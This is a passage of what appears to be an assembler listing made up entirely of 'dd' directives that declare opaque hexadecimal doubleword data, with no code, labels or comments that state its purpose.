27715Ch dd 1BC369BFh, 0EC41285Eh, 2F223961h, 0D1CEC0CAh, 0F300AA5Ch dd 0BAF5A0E7h, 54147993h, 3B8B943Fh, 87249A1Dh, 77E1001Fh dd 5DEB981Fh, 0DAA72806h, 20277Ch, 2AAC4B8Ah, 47516340h dd 0B27E3673h, 73483F48h, 50574C01h, 65BC74B5h, 0AC849440h dd 0FEE426CBh, 3ABF80F8h, 51B93BC4h, 0EC1C4Dh, 1058E65h dd 74AB93h, 7EA5CEE4h, 136A7BFBh, 72005776h, 0BF043468h dd 0FE578h, 0A463DE88h, 4893CE7Bh, 0BCA3981Fh, 99127346h dd 0A72C00C8h, 30339C75h, 6406AF1Dh, 0A898A384h, 8CB000F0h dd 0A0BB5BD1h, 5E163FECh, 7C41D245h, 0ED8769EEh, 22EC30h dd 0B00FE7D0h, 0DED5338Fh, 7F8A643Bh, 80340E3Eh, 794E6341h dd 0B775C9h, 139C867Dh, 0FA2753D8h, 47109502h, 0C0B2B44Fh dd 1EAA3Ch, 0A849317h, 73FE1CA2h, 81001078h, 69229A09h dd 54B01A01h, 48C28C7Ch, 740E7E6Fh, 9060218Ch, 466523FEh dd 570721D2h, 650E32B9h, 21803F31h, 3A4D3833h, 0D80149DEh dd 1A8642D7h, 0F0308021h, 5824A734h, 3C3E7AF8h, 1004BAC5h dd 806A47E2h, 63290358h, 30F88030h, 6467BC9h, 4250BDDFh dd 96006E34h, 0F6075349h, 0FE97CC3Ch, 0C394006Ch, 0D1D4C2C4h dd 56003EE1h, 229C7EFFh, 94660314h, 0C5B91C6Ch, 803B37AFh dd 0D1C160ECh, 3831B107h, 8AA0614Fh, 0ADF6CBh, 29623F07h dd 77CDD5A9h, 6BF21A00h, 0F838607Dh, 132F008Ah, 11CB3AD9h dd 4F00D3F4h, 0A4EEC3ABh, 0F2DC8177h, 57DA007Fh, 58C11FE1h dd 0E190B3DBh, 770D951Fh dd 2FAE4580h, 74A9FBh, 3F667939h, 5D3682C9h, 0E97BC07h dd 0C1E55A4Ch, 0F1DD02AEh, 0A8E4C97Ah, 0AD58F9F6h, 0C56F126Fh dd 72B16402h, 0D1A28054h, 5D7DF38h, 0C1103E32h, 0F590C028h dd 0F400F88Fh, 5FFA567Bh, 70E5095h, 0E6D2478Eh, 0D03917CCh dd 0B1543DE5h, 3EE8C11Ch, 11EAF580h, 5AF43194h, 1F904017h dd 9925AA76h, 0D94A6600h, 0C2FD61FEh, 3BE600C5h, 161D1102h dd 4B004F76h, 24705025h, 73F719h, 62B220C9h, 0DE28AF4Ch dd 7F524F00h, 0AC11371Ah, 16FB01E8h, 0B5FA0B8Fh, 74F4704Ah dd 330138h, 0B24172E3h, 1DBC5749h, 13A0991h, 0D5503947h dd 8F880DDh, 6778E45Fh, 1E572B8h, 4C43BC60h, 20EEE217h dd 88B613CCh, 0E64F97BDh, 6E6DF840h, 5C8719A5h, 251C1497h dd 24F84075h, 0B5F38841h, 0A8B7A02Eh, 16932186h, 0A5B1D39h dd 170975Ch, 7F4520D8h, 0A409F0D3h, 1AAC1E1Dh, 0B17E67C0h dd 74A057CDh, 0F4FF1D1Ch, 34638064h, 0D70786D0h, 0B4026D98h dd 21F79CBFh, 5CC07AECh, 881C8C74h, 0B2CBC47Dh, 0C694F0ACh dd 0F9F30F01h, 0D4B90725h, 7247A060h, 0BCB007EAh, 0A04CE468h dd 0AD37C7D7h, 663E2E00h, 980DE2EEh, 55DDA218h, 74C0EDC2h dd 0B34FD4F7h, 746C8C20h, 7EE53052h, 20190BF9h, 300AE807h dd 5480E255h, 9E591BC6h, 81AB0084h, 3149EF0Eh, 0B400ADFAh dd 0BEEE3B51h, 0FAAC354Eh, 90F11E6Eh, 0E1438047h, 0FAE5DEF3h dd 0BAE2C49Ah, 25586600h, 0DDCC4974h, 2D2FE40Ah, 0CC80D2A0h dd 0D9B27F9Eh, 945D800h, 16AC5751h, 396AF2D6h, 0E980A808h dd 2AB1AC9h, 0F900BF20h, 56322CFAh, 62553Fh, 0C43B8AEEh dd 0C96B65BEh, 0BB70C30Ah, 2F02D467h, 82E09253h, 0B833DDC8h dd 3A8B3660h, 2D80E745h, 0CF0220FFh, 9100E0C5h, 39214210h dd 9E73C2h, 1C0FE60Ch, 0C4A551DFh, 47D6A202h, 0C0D4C3A3h dd 1F885AA4h, 30248CFDh, 0ECF06C10h, 6A9D2E01h, 0D3023C67h dd 4E4A1880h, 6518F894h, 0C3DA240Ah, 0B181C460h, 0DB550FDDh dd 0D99D2880h, 0B0E537CDh, 0D4F252h, 418A311Dh, 38B6BF56h dd 0F00AB5Ah, 5E7339DEh, 0C13AEC24h, 366C81BCh, 0F5E23FC5h dd 0FB7AE8h, 6D987546h, 39E4D0C9h, 8EAA7700h, 1A80840Dh dd 0FF4E18h, 94A8218h, 0F216F59Dh, 8F00A07Ch, 0F14B5284h dd 2E92019Ch, 56ECF8D0h, 0CAE0C4E7h, 0D1FB8490h, 798C7997h dd 9EDEB200h, 5A24897Bh, 56AC3A2Bh, 0A440E900h, 1DA994C8h dd 14A11A0Fh, 0BDF8E383h, 8F9381F5h, 0EFB7E0h, 1D76BE59h dd 5CBCBF58h, 4B6B9500h, 7AF01478h, 0CE500099h, 76F66181h dd 170A3296h, 94FD8F5Eh, 0F919AC00h, 19402AEh, 5BB8CE5Dh dd 242DC355h, 0DE054670h, 0CB085C03h, 582000A5h, 0EC3339EEh dd 57BC28DEh, 0DDDFD606h, 7195852h, 0F10B100Eh, 3090601Eh dd 2C018C80h, 0A90424E7h, 746CCB33h, 0F51C8580h, 3609D16Dh dd 603B3CC9h, 60B30240h, 0ED41518Dh, 6F3E1676h, 0A3C00E2Ch dd 0DB3226BFh, 5FC10048h, 9D1D8610h, 0B2009612h, 8B4BF917h dd 130E0825h, 0FDF7D4h, 0D287B51Ch, 140C7B36h, 61A680EFh dd 0D27D78B4h, 0F690C0E0h, 392F9122h, 0F35090A5h, 0ACCF403Ch dd 699D88h, 0AAF98545h, 0A949FCF6h, 488680Bh, 668A0172h dd 0D8606A54h, 0DDF224DEh, 681482E8h, 6873CAh, 0CF007DB8h dd 0A9CC80E3h, 1558E0h, 501DDE08h, 4C3B5ECAh, 0BFA29E07h dd 68005122h, 97DB47h, 0FA441CB0h, 96618F7Bh, 0F3BE58h dd 0B43EEFBDh, 750FF8h, 2362025Ah, 3452C1CAh, 0E1426B00h dd 54BBCC25h, 0E7A10FFCh, 3F206961h, 1A5CFA4h, 2EDC9C00h dd 29095D2Dh, 0E2E4007Ch, 0E9207D9Ah, 0C93AFA07h, 0E01387B3h dd 0E974E19h, 9E3D6D90h, 0FC830031h, 0D59D063h, 45983F40h dd 0F8C55300h, 0E112025Eh, 9AA8C577h, 0CE098609h, 0A1F20E6h dd 0DE8096D4h, 5EE88EBDh, 811F003Eh, 0E6137E90h, 0B100D89Eh dd 0A9437BEAh, 3AB44149h, 0AA006CCCh, 0C365D24Ah, 9900C7ACh dd 3A1FFA89h, 39731D2Fh, 0D30058E3h, 0E7EDB125h, 7100AD26h dd 5E8C8E5Ah, 6635226Bh, 583FDEBAh, 0ABE3F100h, 5D4381AAh dd 2CD60F31h, 7740C040h, 8EB642D5h, 804E3600h, 0BEC92E43h dd 699E02Fh, 30FA87B1h, 7001791Ch, 1763D6A0h, 0D8E04AC4h dd 4C1018Ch, 760AF826h, 0EF9C409Eh, 7F07ECABh, 915A83A0h dd 0CC53931h, 6378E4h, 0ACEA99E3h, 0F1FFDDE5h, 858A600h dd 8DD21BF9h, 0D65F00B8h, 402B52F5h, 62003D6Fh, 70EC9DE5h dd 0D9CAEAh, 3868B34Ch, 6A98B2C9h, 9AE32000h, 6E728E2Ch dd 54A21F3Dh, 64F700A1h, 15B5CF96h, 0DC394800h, 0EABF41FFh dd 6DAD00DBh, 3632D511h, 0B600D078h, 0AF7FCDD4h, 0F8DC8Fh dd 0B7743F77h, 92B519EEh, 1FF4EF00h, 8431EA54h, 602600DEh dd 8F47D94Dh, 62000C5Ah, 8D1CB5C4h, 0B863D046h, 410700ABh dd 0B9B20D37h, 51003410h, 1342610Eh, 67D0873h, 6794E518h dd 1A6F0920h, 0E21D80C8h, 0C0126899h, 0F62E6E18h, 97011358h dd 0BD18F38Eh, 92FC64BCh, 6EFB0095h, 3096DAF2h, 0D00024CAh dd 6A370140h, 111A498h, 76F9979h, 0F0FBDA43h, 10FE7573h dd 988F801Eh, 4B01EEC0h, 706CD94h, 4091B029h, 0FB24B058h dd 7E00A91Dh, 0B920CE95h, 127AF9E4h, 43ED89B1h, 429E2524h dd 6E889DE8h, 0ECCC1800h, 0F820C102h, 1FDEF82Dh, 0B07131C6h dd 0B63A2FF0h, 3CD9B00h, 78632907h, 9E89269Fh, 0C2670000h dd 9BF8ED19h, 0A2B210C0h, 0BA7E87h, 4DFC8AACh, 0F92EF313h dd 0A893EF03h, 0A0EE48F5h, 0F0E9537Eh, 7FAD002Dh, 496AF8FFh dd 0D67F875Dh, 0F3416E01h, 0C06470B7h, 14F18ECh, 9AB4893Bh dd 208C5AD4h, 0B9003C14h, 0F01162AFh, 0FC09906h, 7E7CFFE5h dd 2A340F82h, 1426A883h, 0BD09C803h, 0A01CEFC0h, 1824F7C8h dd 0B4F5BEC7h, 930FCC5h, 4B0F20BFh, 2F330052h, 0D58F2B3h dd 1EE09891h, 5FB9BE14h, 79B505E8h, 0DC40764Ch, 0ECC5FA6Dh dd 0AE30F74h, 0C0208322h, 0B47C7A33h, 0C400FD98h, 0EA58F576h dd 4C44B7D5h, 0E8018C25h, 7D4ACC9Dh, 0A4F9D4E2h, 7B95E403h dd 7D39031h, 925E0328h, 0F080CBC5h, 0A77988F6h, 53134600h dd 0BD19B190h, 0E7AA0083h, 0E1A58615h, 1F3A6B08h, 2E3780B8h dd 4AC37804h, 22F30490h, 93751436h, 0ED8FE2Ch, 0A3EA7016h dd 7F00D1FCh, 0E05B0134h, 120FC79Bh, 0E72BAF8h, 0AFC08A00h dd 0BDF283E5h, 0B96930FDh, 0F38DDB03h, 0E084DCB8h, 54E1B3h dd 0B78E0F08h, 5FC0636Dh, 0A74C1601h, 0A86874B4h, 283BE441h dd 0F54F60h, 0BB3046A5h, 9B8B25Eh, 0D5959E00h, 52939935h dd 15BC00CAh, 0ED3F8461h, 340F2B86h, 0C045CE76h, 951BFD83h dd 0C39000C1h, 0D7A864DAh, 43E87417h, 0CB6AB700h, 4CEB19F0h dd 650A0081h, 1C7178D9h, 0F9022710h, 0D39C2068h, 0D479E0A2h dd 0AD5200A3h, 0EF451167h, 8D0005E2h, 0C8C11CF1h, 5C3D1BF2h dd 62002014h, 54332D5Ah, 44B228FFh, 0A3FA9D02h, 602C9CCFh dd 1FD08B4h, 5BCC5199h, 409ADF78h, 5011569Eh, 98E57200h dd 0AE53A2CDh, 44122E7Ch, 0B3C200CCh, 223D1D8Eh, 6DBA5E00h dd 3124CB99h, 0B26B031Eh, 19816F30h, 0AC26AAC0h, 0CCA05578h dd 1700F41Dh, 65369633h, 5CAB067Bh, 1044DC25h, 13E811Eh dd 67D046CBh, 0CCEA4025h, 8602267Ch, 7AEFDD5Dh, 0E9A763DCh dd 0D8CC6660h, 0AC58C5C9h, 1C284158h, 840ECC33h, 50F1818h dd 7E317303h, 9D0927C9h dd 707DB10h, 0D9C04ACBh, 6F320BE8h, 236B48ADh, 0F1896301h dd 2C303418h, 0B50069EAh, 0E7D10E1Dh, 58071AF4h, 0C6079532h dd 0A32273AFh, 66D8D630h, 681FE546h, 2158A00Eh, 75EDD018h dd 714200DDh, 5AC9FF07h, 4B30B27Ch, 80D2011h, 7D0A805h dd 0EE560C02h, 33303C29h, 9E5E6728h, 0BE1DB206h, 78183E9Ch dd 0C362B07Dh, 80631E40h, 0F2347BC0h, 0B51092F0h, 8053874h dd 406B912Eh, 0AE6DEC90h, 77324E4h, 5AE11766h, 0B1D1809h dd 0A27D8909h, 30C355Ch, 206EAD41h, 3439D1D0h, 585E4E0h dd 0D27182FDh, 0D17E8024h, 57014F21h, 0B338A16Ah, 0C3DFA52Ah dd 96CFE0D0h, 0C030000Ah, 0FE1FDB45h, 0C8F8D21Eh, 63FDDD03h dd 31605D24h, 0AF713160h, 4660C2DAh, 6109387Dh, 8B3513D3h dd 0FA3220B8h, 0EE46849h, 0CB60781Ah, 65AF530Eh, 303839C0h dd 3316DAB6h, 24007FDEh, 3E314C8Dh, 0B9180079h, 0FDBFD369h dd 6060F694h, 0DA654FA0h, 587500BEh, 864D7CFh, 87007978h dd 27047CA8h, 60C090D8h, 37D2D06Ch, 0F1C3D3BFh, 34EA32Bh dd 98BE9AE9h, 4E0E5F5h, 41739624h, 5B2929C0h, 74527E7Ah dd 149E1DBCh, 8C0540FAh, 0C0040B63h, 0CA0C9D00h, 0E2607F79h dd 0F0A10097h, 2DA4C551h, 1A009ABDh, 0C9C2D9CDh, 3A024A2Bh dd 5180D587h, 89AE0D0Fh, 113D6131h, 0AB9180CFh, 5CC97FDFh dd 2B298038h, 0A951A131h, 0F98067F7h, 0C8EA6DA6h, 0A801AA3Fh dd 4E022722h, 0ACE48344h, 664D00D4h, 0C95CF5A4h, 41C04F28h dd 63DEA06Eh, 59340245h, 0BA70C5A2h, 5567EC80h, 5748F99Fh dd 314830B0h, 1E2AD875h, 0C0C3D4EDh, 0B4079B8Ch, 5239FD68h dd 0E943809Ah, 8EF13B4Ah, 335E28A8h, 3A6DF2AAh, 9F80C7CEh dd 2AAF906Bh, 940048EFh, 7BD853C1h, 2A4CE40Fh, 2443FEh dd 0B6C04455h, 9C51EEDDh, 0D1C59605h, 0D3C0A634h, 0C3D75BD2h dd 466F9D28h, 7BFDAAA0h, 418F5137h, 15E318C0h, 0E0060019h dd 0C28CB0AEh, 0A01E5D84h, 6047717Eh, 0B1E062FDh, 3C617447h dd 9C1C0B7Dh, 0BD6A4032h, 8CF40C39h, 0F1E99D18h, 0A14360h dd 0B042C374h, 2833CB9Bh, 0E89EBB0Ch, 5221F4h, 0E235180Ah dd 0CD63E9D4h, 0C09D2B00h, 7C035830h, 0C2FFEF4h, 0E4D4D878h dd 0EE39AAA8h, 0CF4160B0h, 1ED7EAh, 2885159h, 0F77C9D72h dd 50B2F800h, 3ECA6A36h, 6890069Eh, 19140F7Dh, 0BFE8200h dd 62BFFA2h, 3088A841h, 51A7A6Eh, 679AE843h, 700C024Ah dd 94A5FE55h, 0D0A02063h, 9C007EA1h, 0F4771826h, 3CF898EDh dd 4C0052E1h, 8371D367h, 3C00EBECh, 26EF0BD0h, 30A0E551h dd 5A1885CDh, 243E13D1h, 7A982625h, 749A5700h, 0EA799F75h dd 6EF9EE44h, 510F18E1h, 0ECFF84C3h, 40E734C7h, 7FF65450h dd 0E3971029h, 59E680F4h, 58478489h, 6506A038h, 789BD5BBh dd 2DE13208h, 0EF86015Dh, 80FBFFE3h, 7799E039h, 0C286744h dd 2B7EAB37h, 21C0D508h, 0DF7790C0h, 0B72D00E8h, 0C3F54F06h dd 0DB18F10Ch, 8F1889Dh, 305A5047h, 69017832h, 50801053h dd 88B0A07Fh, 80DE9F3Dh, 52079D18h, 0EC46938h, 70955494h dd 80E2E904h, 0DED148CFh, 8090E63Fh, 31745586h, 0FA0BF718h dd 75D7A0Dh, 0C6CCA4CDh, 8502D03Ah, 0B000D272h, 0C7AD6CBFh dd 288FD33Ch, 0CA62EFh, 0DB5FC5C1h, 0C230379h, 39E64500h dd 847A6910h, 81141283h, 0C911007Bh, 0A4C0B53Bh, 1F3A9301h dd 0C32EDFC4h, 0CFC64085h, 83042AFAh, 66F6D6h, 3F4DD210h dd 0F968E3A8h, 5DEFA301h, 78C3943Eh, 3CFD6CCh, 0DDC2607Bh dd 291134B7h, 173EA52Dh, 7C84A344h, 0EEA189E5h, 24DF5122h dd 3D5B40B7h, 0FFF4F96Fh, 5FF0E8h, 56FB6553h, 5CF38A40h dd 43203B61h, 5D8A648h, 509900C0h, 779FA127h, 6E00BDEBh dd 7AA44169h, 8564FFh, 6FF318C3h, 1E214C2Fh, 0E9F0D960h dd 25553Ah, 0EB729CA0h, 0C67CE574h, 770A4907h, 24E39E0Fh dd 0D4F9F015h, 0EFE98CCh, 586F4DD6h, 0C9FC93A1h, 3CEBCB8Ah dd 4C9C48C8h, 5CB95300h, 77BC3405h, 0CB3B0010h, 82B73FE1h dd 967FA193h, 0F6B1E600h, 8079A075h, 0EB3100C7h, 491C61F9h dd 2A03BE92h, 19B93C27h, 86E4D15Ah, 3FF001D1h, 0F33009F6h dd 0F9031588h, 70DBEFD4h, 0F4CF73C1h, 6C3E318Ch, 0A9D600A7h dd 95AB262Eh, 97882E7Fh, 50E300C8h, 0B0D90C47h, 750FE972h dd 0A061AB35h, 164F71DCh, 9F9D00B8h, 0F1838B3Eh, 810011A3h dd 155BD78Ch, 48DDDFCFh, 90714CDh, 90EB4E52h, 1F83F2E1h dd 80688F3Ah, 0B555078Bh, 3AF5FD2Bh, 7B80B4E4h, 773C6194h dd 0CF0733B9h, 1C4ACD9Ah, 3B597020h, 2D491E40h, 560D8082h dd 7DF0BA88h, 34EFF200h, 584D85DFh, 204B008Eh, 495087C5h dd 901DDAA7h, 166EAE92h, 0E893600Ah, 3A3C8A03h, 3386F010h dd 12EF01Eh, 998EAA40h, 0F08FB730h, 5F00B43Dh, 0C4D801CDh dd 7B3EE53h, 0DDC59B5Ch, 0BBE040BFh, 0BE019D5Eh, 0A4A7163Ah dd 3DC49434h, 90DFE35h, 225528AFh, 7B7F0C00h, 32309DE3h dd 4F5B1023h, 0E9DF03D9h, 0CD5DCD1h, 3C94D000h, 8F8E1AC6h dd 9C2800A2h, 1EAE2FFBh, 3500FE27h, 334F1DCCh, 8E76F3h dd 1C6EA7DEh, 49D3BA82h, 0FCFF3700h, 10F45FE1h, 46B500A5h dd 34AC7C6h, 6CE8A7B6h, 0BD48E01h, 0E6980706h, 19D68489h dd 1EFA9300h, 9703C991h, 7CE446F5h, 0E7B8B843h, 1FBFC51h dd 1A2A32AAh, 0F82305B3h, 6A09D5C0h, 5F6C579Ah, 2BCBC600h dd 5EE34E0h, 0F2674B00h, 0D980EA91h, 786903DCh, 0FC02C54Ch dd 4EA00AD8h, 90038B73h, 3D348222h, 6D6BD0E7h, 0ADAB0F4Ch dd 4D603C91h, 319B9256h, 3E573B04h, 38C063E7h, 7B395Ch dd 8B4150E5h, 614F43F4h, 4506E2FEh, 3740F7BEh, 235F0020h dd 7C2927F2h, 830113BAh, 2C32B867h, 0D960A379h, 12067589h dd 0DDF05Ch, 47B21BFCh, 0E912C307h, 0DC0092B9h, 0F53428E0h dd 0A82C003Eh, 13B77E6Fh, 2A0333E6h, 45CACF0Ch, 0ABC7D580h dd 30B32F90h, 25E6B8EFh, 335618B9h, 29C7C200h, 7112E54h dd 0CFD9657h, 95F031DEh, 0E37FC03h, 64CD4714h, 6FBA00ABh dd 999CB41Ah, 68D101ADh, 0FF6D9371h, 334DF47Bh, 5E66B500h dd 3A323FE0h, 0C898C4h, 2AEA525Ah, 8F14C56h, 0ED005474h dd 0F44F582Ch, 245F01h, 3E6F36EEh, 0A78CF6FEh, 6D001C73h dd 42AB3C84h, 0B4D9A5h, 8DBA66Bh, 257A9DAFh, 3676BB07h dd 0BFF0029Fh, 7CD7E198h, 76A94C60h, 0C0B0B100h, 0DBC1E65Bh dd 84298E1Eh, 0BB6CED03h, 0D4310E02h, 0B343771Bh, 7CB895BEh dd 5C000399h, 0ABE38467h, 9CFB5BFh, 0C7C9159Fh, 2EACD000h dd 0B4029EFCh, 0C079DEB6h, 427C4072h, 1C92ECD5h, 80B76B01h dd 52B8837Dh, 0D65CAA8Fh, 843924EEh, 0A673C701h, 31C4AB59h dd 0D0ED0048h, 0C82095C6h, 4D74DF5Dh, 80B15C00h, 7AAB301Eh dd 13CD071Fh, 0F0AE5695h, 5ED3B070h, 1EAEC14Bh, 98CD4001h dd 946F378Ch, 11EAEB00h, 1FC41B79h, 0BAD60039h, 0BC088366h dd 0E5FC58BDh, 60F19701h, 0F226378Fh, 0E8B05760h, 0BE5624B3h dd 0DD1EFCh, 19EE7086h, 4F6E588h, 0BB740700h, 17722213h dd 53DD0F80h, 4FB31A96h, 4540465Ch, 57B2F4CCh, 5B82E0E5h dd 0B5F2B600h, 9AEBBB54h, 43B00059h, 20142F50h, 0F50080E6h dd 3962063Fh, 4507DAh, 5B184052h, 0A57383C2h, 0E2A1E880h dd 0E10D009Ch, 0C52DBD39h, 8E0045DAh, 577AB90h, 32734FFh dd 82A44320h, 1FC82315h dd 6EE664E1h, 0F332D000h, 780EC337h, 0C94E009Ch, 66EE67FBh dd 7001ECBh, 158AC250h, 0EE490FA0h, 33E70917h, 29809BC9h dd 0D8FF3671h, 426A8B05h, 4C80CDB2h, 2C6766h, 1BC728E3h dd 88BE9665h, 0C9DB8D00h, 0D9515AF6h, 0C216009Eh, 626D3A34h dd 7E00D356h, 9BE13085h, 0FC990BA9h, 0E4DAB831h, 78F00982h dd 0F000D896h, 324A222Eh, 0C7D96006h, 3CAA0D8Eh, 58016BE8h dd 7AA6A352h, 0D47BE951h, 7C002EF6h, 0EF78208Dh, 37DB2E2h dd 73199529h, 7E80C336h, 91CA4D6h, 1744BCF5h, 6890C89Eh dd 3D626422h, 8A1E3768h, 0FC161DC1h, 77915580h, 666E27DEh dd 0B4266C01h, 3B7C104Ah, 64BED8h, 97B54E73h, 66A63923h dd 96277505h, 38945F1Fh, 0A11DE3C0h, 0F35000B2h, 4CB15AB4h dd 0C04D6B5Eh, 21E50060h, 0DE0FCBB8h, 608A7E80h, 4E841896h dd 0B0ED373h, 0C098DB2Ch, 0F5DD7C19h, 8C7D0029h, 0CF0EACA5h dd 4F006A3Bh, 0A62B2E64h, 0C00CB0h, 0F2192758h, 0C128578Dh dd 4AF40400h, 0DFD545F3h, 841303CEh, 3830021Ah, 2ABE0EB5h dd 0EBE38300h, 787A6C25h, 8B8E4B03h, 0C8856F19h, 0F75527h dd 10B71504h, 6128F999h, 0EBFE8807h, 0CBD035D5h, 1959E9Fh dd 9B598C1Eh, 0C8A03028h, 140029B1h, 8105C9D3h, 4E0C7Bh dd 0A4D1BA4Ah, 0E9FE28D2h, 0FFFACB00h, 77BF817Ah, 304B00DFh dd 9552518Ah, 0D800314Ah, 22E156D3h, 70C753h, 0FF63F34Ch dd 0AECCEF16h, 5D0481F4h, 0E23B9EDBh, 9280A0h, 9CC2B365h dd 0AA90A967h, 0C4B68800h, 0C9AC669Eh, 988F1D95h, 0C7E100CEh dd 7340C60Fh, 31D63500h, 42DB08C3h, 0D41D0070h, 1681623Bh dd 0B8987EB5h, 27FEEE14h, 264681B8h, 37F012CEh, 666F020Bh dd 5F99131Ah, 4045EEE0h, 6E537D00h, 9B88440Eh, 0E4E6018Dh dd 0E139DB09h, 15CBC0EBh, 861C8E1Ch, 5D46C900h, 0F299241h dd 594477Ah, 0C05828A5h, 82C003F3h, 0C90F3Ch, 0CC3C871Eh dd 44B935h, 0C55F4584h, 0FFC0DA03h, 9926A300h, 0AAEF04FAh dd 678D2EFCh, 20B1803Ch, 5BFA30Fh, 4872CD58h, 59FC03D4h dd 0B88DD550h, 93B443h, 538A312Ah, 3E43048h, 7690A100h dd 0C532EB34h, 495C0099h, 0B2C8DE0Bh, 173F4A33h, 1D4F80F0h dd 43844508h, 90AA5959h, 8B5A8200h, 0A17E6B3Ch, 0EDE20612h dd 44F054C0h, 0DCD800CBh, 0FB23E993h, 0C00A03Eh, 5246603Ah dd 0DBE0E3h, 246C63BBh, 74EFE94Fh, 7E9CC100h, 0DED32C6h dd 0FCA20097h, 0CA90E49Fh, 0FD3D9824h, 9401F03Dh, 0BE7D7FBBh dd 0B02CCB92h, 615D4C00h, 3B06CD15h, 54081E67h, 0A347EC40h dd 8D99DD95h, 0E030E6D4h, 0F2002A45h, 0F51A7263h, 1BC47D79h dd 21E10B47h, 48926CC8h, 1D831107h, 240F938h, 30229369h dd 4694CC15h, 7F006F0Ch, 3EB2C143h, 6059501Ah, 8FA4061h dd 4614ABF5h, 654F262h, 0FE0CDD66h, 0ABCD0021h, 581F5B7Eh dd 7C383CFDh, 0D8383B9Dh, 0BD0A0009h, 6608D6ABh, 623A3050h dd 0CC86E059h, 984851CCh, 0A7D8071Dh, 60C26394h, 317E6621h dd 5D00D5EEh, 0A830F22Dh, 5362E3h, 977525C2h, 8971B26Ah dd 2CDD0C00h, 5CC1E478h, 6E4B1D1Bh, 0DE8A470Dh, 19D5B06Fh dd 38002C25h, 6ACD46BAh, 743FAFA1h, 6FA60080h, 9E86A4FBh dd 0D100FE6Bh, 9DE42E5Ah, 7AB47B6h, 0AAC7A9E2h, 0CBBC901Dh dd 0A10719F2h, 0B1FF13C8h, 0F2A825F3h, 142DE01Bh, 9EFA00BDh dd 0A68ACE3Eh, 2A1F12E9h, 0F60E3F37h, 98B0804Ah, 0DD82414h dd 0C6390CDh, 44BDE882h, 6F2A1B00h, 6C60B001h, 1579FEB6h dd 0FCC8C7A5h, 2A037600h, 8D2C0FE2h, 1156E900h, 0A7820D7Dh dd 6AF400CBh, 0D09DC0E6h, 3F0FCDFBh, 0A33CFF46h, 3BEDB176h dd 0F2010A10h, 6DD2CFD9h, 395880DAh, 5DF518ECh, 541998A5h dd 2257D05Eh, 5101CABEh, 5DF36990h, 0DBD4DF72h, 0D8B03D22h dd 0EC512B38h, 716DF4h, 0B1E0C305h, 0B8573B09h, 44F8D624h dd 31B78580h, 702ABDFh, 7D5C189h, 0F0339722h, 74F45036h dd 9730F00h, 44E940Eh, 8A7518h, 838CE0E4h, 0D6C20BA2h dd 6651FB60h, 0E32D9Dh, 0AAD7AFFAh, 49852090h, 54E0B70Ah dd 0C5111888h, 0EE462300h, 1E69D47Eh, 74A0507Bh, 0B244128Eh dd 0C027F6C3h, 136D5A19h, 2F0352D9h, 0BE690B34h, 0A62907B4h dd 20F9D0BDh, 92F1319h, 4392F003h, 80183241h, 1D5EB3D8h dd 402AC27Dh, 72859FC8h, 20079E5h, 4D901063h, 32C03C24h dd 6106207h, 7B0304B5h, 0E013888Fh, 61C7CEh, 0D02CADABh dd 17623885h, 0DCD58700h, 0F67C7B6Dh, 0CF810C59h, 0A4296EAEh dd 56FC8341h, 0FB997CD4h, 0CA6C0980h, 0BF6B64B3h, 54619E18h dd 1D5B8F18h, 0C051D967h, 0B58A95C7h, 0E9F236C3h, 692DBC00h dd 71B7BAB8h, 0BE010017h, 8EF8FE38h, 0D43F57D1h, 0B42D00DDh dd 364F454Eh, 0F997640h, 0E48D138Ah, 500B1527h, 342B29C9h dd 0C646651Dh, 43C9380h, 7F3B2Ah, 754FBB56h, 0C8346739h dd 4D422F00h, 449E4571h, 0E5AE618h, 0BDD4C095h, 0DD08DB00h dd 1100CB97h, 431C3F04h, 1F02886Dh, 534034E9h, 215F0017h dd 0F12E630Bh, 0DDD35602h, 8372D448h, 904B27CCh, 0F3FC1Bh dd 9EF5B8AFh, 0A7EFB4F6h, 0DBB7F100h, 0C168C274h, 0D8BE0184h dd 372D3DE1h, 63B0F773h, 6600E69Fh, 4738E82Ch, 0E597CAh dd 855D55B9h, 75AAF7BFh, 0B5D70F00h, 4C8E11BBh, 0C9F207ACh dd 0CBE332h, 0A82C2452h, 0BBF64D24h, 0E070BB0Eh, 3D6F5942h dd 589600A7h, 0F25B9C4Ch, 0EC0115C8h, 0FF95BAE4h, 1020218Bh dd 75200D3h, 0C3968171h, 0EE00AB53h, 958F77E6h, 0AE6B6Ah dd 260ACC36h, 112AF7B9h, 0D48C1700h, 0D5F4FF19h, 8D08001Ah dd 53F929BCh, 0C0004E20h, 0B8618EAh, 0B148497h, 134F17Ah dd 0B84F3C00h, 48016744h, 0EA814B46h, 0F160E284h, 0E66F3F06h dd 0D7FDD300h, 18394598h, 365EEA00h, 0A6439133h, 5FB20048h dd 1B9AB8A0h, 3076C105h, 0CB814000h, 5D473435h, 0E4863878h dd 89297F89h, 0E6507C00h, 0EA30641Ch, 0EE109DFh, 0E2F40362h dd 9F76301h, 71AB184Ch, 8E804000h, 437A044Fh, 83160099h dd 441C7367h, 6400E629h, 3977EE2Fh, 0D53712h, 36A68313h dd 3576B97Dh, 0FB00F47Ch, 0EAAEB45Dh, 8E4BDCh, 7CAA820Fh dd 2C98974Ah, 0DED28A0Ch, 0D11E9h, 0D5BD8092h, 5FE8A3F8h dd 0E01E6E24h, 6DAE0E1Eh, 6C659700h, 28BF5C76h, 7A47055h dd 0CC66CA31h, 7F3E022h, 3300D1A8h, 6A88B126h, 0F483718Ch dd 5BB30095h, 0F7F6869Ah, 110022B4h, 1CFBEADAh, 16CF12h dd 0EF518948h, 87E3AE18h, 1325F001h, 1CF34F32h, 19CD120h dd 297BE9ADh, 0D0C3A1F1h, 43481718h, 0CDAF3C94h, 0C9C0050h dd 64B1065Ah, 38D107C6h, 90FFE14Bh, 0BB6FDD2Ah, 162C1F09h dd 2BA4001Bh, 180B94B6h, 488DCE09h, 0DB7BFCF7h, 1378765Ch dd 0A807DD04h, 606C5C94h, 0F450161h, 83D5C33Eh, 81ACF4A0h dd 0FBF95600h, 0FC88AA5Bh, 29183F1Eh, 0BC99DA89h, 2ABD1680h dd 0EA4CAFF5h, 65B400A4h, 0AD94CCE0h, 11EE84h, 6BCF555Ch dd 90169EF1h, 45BFC204h, 44C056A7h, 0F6EE350h, 2CCC6381h dd 0AE20E601h, 0AF69EC47h, 8068453Eh, 4FC68662h, 359DE4Dh dd 649A9FAAh, 0F8A984F7h, 8E5C34B3h, 0DF58F900h, 0EFE94A6Ah dd 5B5358EBh, 89249B26h, 3000064Ch, 0C859FEDFh, 0FDC3F3Eh dd 0C0FB1483h, 38C43ECAh, 0E7C7768h, 0E3818877h, 